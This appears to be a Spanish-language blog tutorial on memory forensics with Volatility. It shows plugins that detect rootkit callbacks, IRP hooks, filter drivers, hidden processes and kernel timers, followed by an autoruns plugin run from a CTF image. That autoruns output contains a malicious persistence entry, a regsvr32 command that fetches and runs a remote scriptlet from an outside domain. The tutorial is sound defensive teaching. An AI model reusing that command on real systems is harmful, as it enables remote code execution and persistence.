- CmRegisterCallbackEx (devoluciones de llamadas de registro en Vista y 7).
- IoRegisterShutdownNotification (devoluciones de llamada de apagado).
- DbgSetDebugPrintCallback (debug print callbacks en Vista y 7).
- DbgkLkmdRegisterCallback (depurar devoluciones de llamada en 7).
A continuación se muestra un ejemplo de como detectar la llamada de creación de subprocesos por parte del malware BlackEnergy2. Es posible detectar la devolución de dicha llamada maliciosa porque el propietario es 00004A2A y BlackEnergy2 utiliza un nombre de módulo compuesto por ocho caracteres hexadecimales:
1 2 3 4 5 6 7 8 9 10 |
$ volatility -f be2.vmem callbacks Volatility Foundation Volatility Framework 2.6 Type Callback Owner PsSetCreateThreadNotifyRoutine 0xff0d2ea7 00004A2A PsSetCreateProcessNotifyRoutine 0xfc58e194 vmci.sys KeBugCheckCallbackListHead 0xfc1e85ed NDIS.sys (Ndis miniport) KeBugCheckCallbackListHead 0x806d57ca hal.dll (ACPI 1.0 - APIC platform UP) KeRegisterBugCheckReasonCallback 0xfc967ac0 mssmbios.sys (SMBiosData) KeRegisterBugCheckReasonCallback 0xfc967a78 mssmbios.sys (SMBiosRegistry) [snip] |
A continuación vemos otro ejemplo en el que se detecta la devolución de llamada de la creación de procesos maliciosos por el rootkit Rustock, la cual apunta a la memoria de \Driver\pe386.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ volatility -f rustock.vmem callbacks Volatility Foundation Volatility Framework 2.6 Type Callback Owner PsSetCreateProcessNotifyRoutine 0xf88bd194 vmci.sys PsSetCreateProcessNotifyRoutine 0xb17a27ed '\\Driver\\pe386' KeBugCheckCallbackListHead 0xf83e65ef NDIS.sys (Ndis miniport) KeBugCheckCallbackListHead 0x806d77cc hal.dll (ACPI 1.0 - APIC platform UP) KeRegisterBugCheckReasonCallback 0xf8b7aab8 mssmbios.sys (SMBiosData) KeRegisterBugCheckReasonCallback 0xf8b7aa70 mssmbios.sys (SMBiosRegistry) KeRegisterBugCheckReasonCallback 0xf8b7aa28 mssmbios.sys (SMBiosDataACPI) KeRegisterBugCheckReasonCallback 0xf76201be USBPORT.SYS (USBPORT) KeRegisterBugCheckReasonCallback 0xf762011e USBPORT.SYS (USBPORT) KeRegisterBugCheckReasonCallback 0xf7637522 VIDEOPRT.SYS (Videoprt) [snip] |
driverirp
Utilizaremos el comando driveirp para imprimir la tabla IRP de un controlador. Este comando hereda de driverscan para poder localizar DRIVER_OBJECTS. Posteriormente se desplaza por la tabla de funciones, imprimiendo el propósito de cada una, la dirección y el módulo propietario de la dirección.
En el caso de volatility se imprime toda la información existente, debido a que muchos controladores envían sus funciones IRP a otro controladores con fines legítimos y es el investigador quien tiene que decidir si existe alguna función maliciosa o no. El comando verifica también los hooks en la línea de funciones IRP y, opcionalmente, imprime un desensamblado de las instrucciones en la dirección IRP con la opción -v o –verbose.
A menos que se especifique una expresión regular para el filtrado, el comando mostrará la información existente de los controladores:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ volatility -f tdl3.vmem driverirp -r vmscsi Volatility Foundation Volatility Framework 2.6 -------------------------------------------------- DriverName: vmscsi DriverStart: 0xf9db8000 DriverSize: 0x2c00 DriverStartIo: 0xf97ea40e 0 IRP_MJ_CREATE 0xf9db9cbd vmscsi.sys 1 IRP_MJ_CREATE_NAMED_PIPE 0xf9db9cbd vmscsi.sys 2 IRP_MJ_CLOSE 0xf9db9cbd vmscsi.sys 3 IRP_MJ_READ 0xf9db9cbd vmscsi.sys 4 IRP_MJ_WRITE 0xf9db9cbd vmscsi.sys 5 IRP_MJ_QUERY_INFORMATION 0xf9db9cbd vmscsi.sys 6 IRP_MJ_SET_INFORMATION 0xf9db9cbd vmscsi.sys 7 IRP_MJ_QUERY_EA 0xf9db9cbd vmscsi.sys [snip] |
En la salida anterior, no es aparente que el driver vmscsi.sys haya sido infectado por el rootkit TDL3. Aunque todos los IRP apuntan de nuevo a vmscsi.sys, apuntan a un trozo organizado en esa misma región por TDL3 con el propósito de evitar a las herramientas de detección de rootkits. Para más información, utilizamos la opción verbose:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$ volatility -f tdl3.vmem driverirp -r vmscsi --verbose Volatility Foundation Volatility Framework 2.6 -------------------------------------------------- DriverName: vmscsi DriverStart: 0xf9db8000 DriverSize: 0x2c00 DriverStartIo: 0xf97ea40e 0 IRP_MJ_CREATE 0xf9db9cbd vmscsi.sys 0xf9db9cbd a10803dfff MOV EAX, [0xffdf0308] 0xf9db9cc2 ffa0fc000000 JMP DWORD [EAX+0xfc] 0xf9db9cc8 0000 ADD [EAX], AL 0xf9db9cca 0000 ADD [EAX], AL 1 IRP_MJ_CREATE_NAMED_PIPE 0xf9db9cbd vmscsi.sys 0xf9db9cbd a10803dfff MOV EAX, [0xffdf0308] 0xf9db9cc2 ffa0fc000000 JMP DWORD [EAX+0xfc] 0xf9db9cc8 0000 ADD [EAX], AL 0xf9db9cca 0000 ADD [EAX], AL [snip] |
Ahora sí se puede ver claramente que TDL3 redirige todos los IRP a su propio código auxiliar en el controlador vmscsi.sys. Dicho código salta a cualquier dirección señalada por 0xffdf0308, que se trata de una ubicación en la región KUSER_SHARED_DATA.
devicetree
El módulo devicetree muestra la relación de un objeto controlador con sus dispositivos y cualquier dispositivo conectado. Los rootkits a menudo insertan controladores con fines de filtrado.
A continuación se muestra un ejemplo, donde Stuxnet ha infectado \\FileSystem\\NTFS al conectar un dispositivo malicioso que carece de nombre. Aunque en sí no disponga dle nombre, el objeto del dispositivo identifica a su controlador \\Driver\\MRxNet
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ volatility -f stuxnet.vmem devicetree Volatility Foundation Volatility Framework 2.6 [snip] DRV 0x0253d180 '\\FileSystem\\Ntfs' ---| DEV 0x82166020 (unnamed) FILE_DEVICE_DISK_FILE_SYSTEM ------| ATT 0x8228c6b0 (unnamed) - '\\FileSystem\\sr' FILE_DEVICE_DISK_FILE_SYSTEM ---------| ATT 0x81f47020 (unnamed) - '\\FileSystem\\FltMgr' FILE_DEVICE_DISK_FILE_SYSTEM ------------| ATT 0x81fb9680 (unnamed) - '\\Driver\\MRxNet' FILE_DEVICE_DISK_FILE_SYSTEM ---| DEV 0x8224f790 Ntfs FILE_DEVICE_DISK_FILE_SYSTEM ------| ATT 0x81eecdd0 (unnamed) - '\\FileSystem\\sr' FILE_DEVICE_DISK_FILE_SYSTEM ---------| ATT 0x81e859c8 (unnamed) - '\\FileSystem\\FltMgr' FILE_DEVICE_DISK_FILE_SYSTEM ------------| ATT 0x81f0ab90 (unnamed) - '\\Driver\\MRxNet' FILE_DEVICE_DISK_FILE_SYSTEM [snip] |
El módulo devicetree utiliza DRV para indicar los controladores, DEV para indicar a los dispositivos y ATT para indicar los dispositivos conectados.
En sitemas x64 observamos una salida del comando muy similar a la anterior:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
$ volatility -f /root/test/win7_trial_64bit.raw --profile=Win7SP0x64 devicetree Volatility Foundation Volatility Framework 2.6 DRV 0x174c6350 \Driver\mouhid ---| DEV 0xfffffa8000dfbc90 FILE_DEVICE_MOUSE ------| ATT 0xfffffa8000ec7060 - \Driver\mouclass FILE_DEVICE_MOUSE DRV 0x17660cb0 \Driver\rspndr ---| DEV 0xfffffa80005a1c20 rspndr FILE_DEVICE_NETWORK DRV 0x17663e70 \Driver\lltdio ---| DEV 0xfffffa8000c78b70 lltdio FILE_DEVICE_NETWORK DRV 0x17691d70 \Driver\cdrom ---| DEV 0xfffffa8000d00060 CdRom0 FILE_DEVICE_CD_ROM DRV 0x176a7280 \FileSystem\Msfs ---| DEV 0xfffffa8000cac060 Mailslot FILE_DEVICE_MAILSLOT DRV 0x176ac6f0 \FileSystem\Npfs ---| DEV 0xfffffa8000cac320 NamedPipe FILE_DEVICE_NAMED_PIPE DRV 0x176ade70 \Driver\tdx ---| DEV 0xfffffa8000cb8c00 RawIp6 FILE_DEVICE_NETWORK ---| DEV 0xfffffa8000cb8e30 RawIp FILE_DEVICE_NETWORK ---| DEV 0xfffffa8000cb7510 Udp6 FILE_DEVICE_NETWORK ---| DEV 0xfffffa8000cb7740 Udp FILE_DEVICE_NETWORK ---| DEV 0xfffffa8000cb7060 Tcp6 FILE_DEVICE_NETWORK ---| DEV 0xfffffa8000cad140 Tcp FILE_DEVICE_NETWORK ---| DEV 0xfffffa8000cadbb0 Tdx FILE_DEVICE_TRANSPORT DRV 0x176ae350 \Driver\Psched ---| DEV 0xfffffa8000cc4590 Psched FILE_DEVICE_NETWORK DRV 0x176aee70 \Driver\WfpLwf DRV 0x176b93a0 \Driver\AFD ---| DEV 0xfffffa8000cb9180 Afd FILE_DEVICE_NAMED_PIPE DRV 0x176c28a0 \Driver\NetBT ---| DEV 0xfffffa8000db4060 NetBT_Tcpip_{EE0434CC-82D1-47EA-B5EB-AF721863ACC2} FILE_DEVICE_NETWORK ---| DEV 0xfffffa8000c1d8f0 NetBt_Wins_Export FILE_DEVICE_NETWORK DRV 0x176c3930 \FileSystem\NetBIOS ---| DEV 0xfffffa8000cc3680 Netbios FILE_DEVICE_TRANSPORT [snip] |
psxview
El módulo psxview ayuda en la detección de procesos ocultos comparando con el contenido de PsActiveProcessHead. Entre sus comparaciones observamos las siguientes:
- Lista vinculada PsActiveProcessHead
- Escaneo de grupo EPROCESS
- Escaneo de grupo ETHREAD (luego hace referencia al EPROCESS propietario)
- PspCidTable
- Tabla de identificadores de csrss.exe
- Lista enlazada interna csrss.exe
A partir de Windows Vista, la lista interna de procesos de csrss.exe no está disponible.
A continuación vemos un ejemplo de detección de malware Prolaco con psxview. Un valor False en cualquier columna indicaría que falta el proceso respectivo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
$ volatility -f prolaco.vmem psxview Volatility Foundation Volatility Framework 2.6 Offset(P) Name PID pslist psscan thrdproc pspcid csrss session deskthrd ---------- -------------------- ------ ------ ------ -------- ------ ----- ------- -------- 0x06499b80 svchost.exe 1148 True True True True True True True 0x04b5a980 VMwareUser.exe 452 True True True True True True True 0x05f027e0 alg.exe 216 True True True True True True True 0x010f7588 wuauclt.exe 468 True True True True True True True 0x04c2b310 wscntfy.exe 888 True True True True True True True 0x061ef558 svchost.exe 1088 True True True True True True True 0x06015020 services.exe 676 True True True True True True True 0x06384230 vmacthlp.exe 844 True True True True True True True 0x069d5b28 vmtoolsd.exe 1668 True True True True True True True 0x04a544b0 ImmunityDebugge 1136 True True True True True True True 0x0655fc88 VMUpgradeHelper 1788 True True True True True True True 0x06945da0 spoolsv.exe 1432 True True True True True True True 0x05f47020 lsass.exe 688 True True True True True True True 0x0113f648 1_doc_RCData_61 1336 False True True True True True True 0x04a065d0 explorer.exe 1724 True True True True True True True 0x066f0978 winlogon.exe 632 True True True True True True True 0x0115b8d8 svchost.exe 856 True True True True True True True 0x063c5560 svchost.exe 936 True True True True True True True 0x01122910 svchost.exe 1028 True True True True True True True 0x04be97e8 VMwareTray.exe 432 True True True True True True True 0x0211ab28 TPAutoConnSvc.e 1968 True True True True True True True 0x049c15f8 TPAutoConnect.e 1084 True True True True True True True 0x05471020 smss.exe 544 True True True True False False False 0x066f0da0 csrss.exe 608 True True True True False True True 0x01214660 System 4 True True True True False False False 0x0640ac10 msiexec.exe 1144 False True False False False False False 0x005f23a0 rundll32.exe 1260 False True False False False False False |
A continuación vemos lo mismo en sistemas x64 donde la salida es muy similar:
1 2 3 4 5 6 7 8 9 10 11 |
$ volatility -f /root/test/win7_trial_64bit.raw --profile=Win7SP0x64 psxview Volatility Foundation Volatility Framework 2.6 Offset(P) Name PID pslist psscan thrdproc pspcid csrss session deskthrd ------------------ -------------------- ------ ------ ------ -------- ------ ----- ------- -------- 0x0000000017692300 wininit.exe 332 True True True True True True True 0x00000000173c5700 lsass.exe 444 True True True True True True False 0x0000000017803b30 rundll32.exe 2016 True True True True True True False 0x0000000017486690 spoolsv.exe 1076 True True True True True True True 0x0000000017db7960 svchost.exe 856 True True True True True True False 0x0000000017dd09e0 svchost.exe 916 True True True True True True False [snip] |
timers
El comando timers imprime los temporizados instalados del kernel (KTIMER) y cualquier DPC (Deferred procedure calls) asociado. Algunos rootkits como Zero Acess, Stuxnet o Rustock registran temporizadores con un DPC. Aunque el malware intenta ser sigiloso y esconderse en un espacio del kernel de diferentes formas, encontrando los KTIMER y mirando la dirección del DPC es posible encontrar los rangos del código malicioso.
A continuación veremos un ejemplo donde uno de los temporizadores tiene un módulo desconocido, es decir, el DPC apunta a una región desconocida de la memoria del núcleo, y donde se esconde el rootkit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ volatility -f rustock.vmem timers Volatility Foundation Volatility Framework 2.6 Offset(V) DueTime Period(ms) Signaled Routine Module ---------- ------------------------ ---------- ---------- ---------- ------ 0xf730a790 0x00000000:0x6db0f0b4 0 - 0xf72fb385 srv.sys 0x80558a40 0x00000000:0x68f10168 1000 Yes 0x80523026 ntoskrnl.exe 0x821cb240 0x00000000:0x68fa8ad0 0 - 0xf84b392e sr.sys 0x8054f288 0x00000000:0x69067692 0 - 0x804e5aec ntoskrnl.exe 0xf7c13fa0 0x00000000:0x74f6fd46 60000 Yes 0xf7c044d3 ipsec.sys 0xf7c13b08 0x00000000:0x74f6fd46 0 - 0xf7c04449 ipsec.sys 0x8055a300 0x00000008:0x61e82b46 0 - 0x80533bf8 ntoskrnl.exe 0xf7c13b70 0x00000008:0x6b719346 0 - 0xf7c04449 ipsec.sys 0xf7befbf0 0x00000000:0x690d9da0 0 - 0xf89aa3f0 TDI.SYS 0x81ea5ee8 0x00000000:0x7036f590 0 - 0x80534016 ntoskrnl.exe 0x81d69180 0x80000000:0x3ae334ee 0 - 0x80534016 ntoskrnl.exe 0xf70d0040 0x00000000:0x703bd2ae 0 - 0xf70c3ae8 HTTP.sys 0xf7a74260 0x00000000:0x75113724 60000 Yes 0xf7a6cf98 ipnat.sys 0x82012e08 0x00000000:0x8a87d2d2 0 - 0xf832653c ks.sys 0x81f01358 0x00000008:0x6b97b8e6 0 - 0xf7b8448a netbt.sys 0x81f41218 0x00000000:0x6933c340 0 - 0xf7b8448a netbt.sys 0x805508d0 0x00000000:0x6ba6cdb6 60000 Yes 0x804f3b72 ntoskrnl.exe 0x80559160 0x00000000:0x695c4b3a 0 - 0x80526bac ntoskrnl.exe 0x820822e4 0x00000000:0xa2a56bb0 150000 Yes 0x81c1642f UNKNOWN 0xf842f150 0x00000000:0xb5cb4e80 0 - 0xf841473e Ntfs.sys 0x821811b0 0x00000131:0x34c6cb8e 0 - 0xf83fafdf NDIS.sys ... |
Cabe destacar que los temporizadores se enumeran de distinta forma según el sistema operativo. En el caso de Windows XP, 2003, 2008 y Vista almacena los temporales en variables globales, mientras que desde Windows 7, se almacenan en regiones específicas del procesador fuera de KPCR (Kernel Processor Control Region). Además, si hay varias CPU, este módulo encontrará todos los KPCR e imprimirá los temporizadores asociados con cada CPU.
Plugins extras
En esta sección se indicarán plugins extra que por defecto no vienen en volatility y que son muy útiles en la búsqueda de malware.
Para instalar un plugin nuevo, una vez descargado el mismo, podemos cargarlo de la siguiente forma:
1 |
$ volatility --plugins="/path/to/plugin" -f file [OPTIONS] |
volatility-autoruns
Volatility-Autoruns es un módulo extra que por defecto no viene incluido y cuyo principal fin es encontrar puntos de persistencia de malware. Autoruns automatiza la mayoría de las tareas que se necesitarían ejecutar para averiguar cual es el método de persistencia del malware. Uno de los métodos de persistencia más comunes y para el que es muy útil este plugin es la carga del malware en el arranque del sistema.
Para instalar autorun deberemos de descargarnos el código desde github en el siguiente enlace.
O podemos descargar el repositorio con el comando:
1 |
$ git clone https://github.com/tomchop/volatility-autoruns.git |
Una vez descargado deberemos referenciarlo con la opción –plugins para cargar el mismo como vemos en el siguiente ejemplo de un ctf que hice hace algún tiempo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 |
$ volatility --plugins="/root/github/volatility-autoruns/" -f memory.img --profile=WinXPSP2x86 autoruns Autoruns========================================== Hive: \Device\HarddiskVolume1\WINDOWS\system32\config\software Microsoft\Windows\CurrentVersion\Run (Last modified: 2018-10-20 23:49:19 UTC+0000) C:\WINDOWS\system32\VBoxTray.exe : VBoxTray (PIDs: 1760) Hive: \Device\HarddiskVolume1\WINDOWS\system32\config\software Microsoft\Windows\CurrentVersion\Run (Last modified: 2018-10-20 23:49:19 UTC+0000) regsvr32 /u /s /i:http://kfjda21i4wlrldsaGf3ds.com/info.txt scrobj.dll : start (PIDs: ) Hive: \Device\HarddiskVolume1\Documents and Settings\LocalService\NTUSER.DAT Software\Microsoft\Windows\CurrentVersion\Run (Last modified: 2018-10-20 22:28:39 UTC+0000) C:\WINDOWS\system32\CTFMON.EXE : CTFMON.EXE (PIDs: ) Hive: \Device\HarddiskVolume1\Documents and Settings\Administrador\NTUSER.DAT Software\Microsoft\Windows\CurrentVersion\Run (Last modified: 2018-10-20 23:47:15 UTC+0000) C:\WINDOWS\system32\ctfmon.exe : CTFMON.EXE (PIDs: ) Hive: \Device\HarddiskVolume1\Documents and Settings\Administrador\NTUSER.DAT Software\Microsoft\Windows\CurrentVersion\Run (Last modified: 2018-10-20 23:47:15 UTC+0000) "C:\Archivos de programa\Messenger\msmsgs.exe" /background : MSMSGS (PIDs: ) Hive: \Device\HarddiskVolume1\Documents and Settings\NetworkService\NTUSER.DAT Software\Microsoft\Windows\CurrentVersion\Run (Last modified: 2018-10-20 22:28:30 UTC+0000) C:\WINDOWS\system32\CTFMON.EXE : CTFMON.EXE (PIDs: ) Hive: \Device\HarddiskVolume1\Documents and Settings\LocalService\NTUSER.DAT Software\Microsoft\Windows\CurrentVersion\RunOnce (Last modified: 2018-10-20 22:28:39 UTC+0000) regsvr32 /s /n /i:U shell32 : _nltide_2 (PIDs: ) Hive: \Device\HarddiskVolume1\Documents and Settings\NetworkService\NTUSER.DAT Software\Microsoft\Windows\CurrentVersion\RunOnce (Last modified: 2018-10-20 22:28:30 UTC+0000) regsvr32 /s /n /i:U shell32 : _nltide_2 (PIDs: ) Winlogon (Notify)================================= WlNotify.dll (Last write time: 2018-10-20 23:23:01 UTC+0000) PIDs: 616 Hooks: SensLockEvent, SensLogonEvent, SensLogoffEvent, SensStartScreenSaverEvent, SensStopScreenSaverEvent, SensStartupEvent, SensShutdownEvent, SensStartShellEvent, SensUnlockEvent Winlogon (Shell)================================== Shell: Explorer.exe Default value: Explorer.exe PIDs: 1868 Last write time: 2018-10-20 22:45:18 UTC+0000 Winlogon (Userinit)=============================== Userinit: C:\WINDOWS\system32\userinit.exe, Default value: userinit.exe PIDs: Last write time: 2018-10-20 22:45:18 UTC+0000 Winlogon (VmApplet)=============================== VmApplet: rundll32 shell32,Control_RunDLL "sysdm.cpl" Default value: rundll32 shell32,Control_RunDLL "sysdm.cpl" PIDs: Last write time: 2018-10-20 22:45:18 UTC+0000 Active Setup====================================== Command line: C:\WINDOWS\system32\ieudinit.exe Last-written: 2018-10-20 22:26:09 UTC+0000 (PIDs: ) Command line: C:\WINDOWS\system32\ie4uinit.exe -UserIconConfig Last-written: 2018-10-20 22:26:09 UTC+0000 (PIDs: ) Command line: RunDLL32 IEDKCS32.DLL,BrandIE4 SIGNUP Last-written: 2018-10-20 22:26:22 UTC+0000 (PIDs: ) Command line: %systemroot%\system32\shmgrate.exe OCInstallUserConfigOE Last-written: 2018-10-20 22:26:01 UTC+0000 (PIDs: ) Command line: regsvr32.exe /s /n /i:U shell32.dll Last-written: 2018-10-20 22:26:22 UTC+0000 (PIDs: ) Command line: C:\WINDOWS\system32\ie4uinit.exe -BaseSettings Last-written: 2018-10-20 22:30:11 UTC+0000 (PIDs: ) |
Esto ha sido todo por el momento, espero les sea de utilidad en su día a día o si realizan algún ctf relacionado con la búsqueda de malware. Nos vemos en el siguiente post!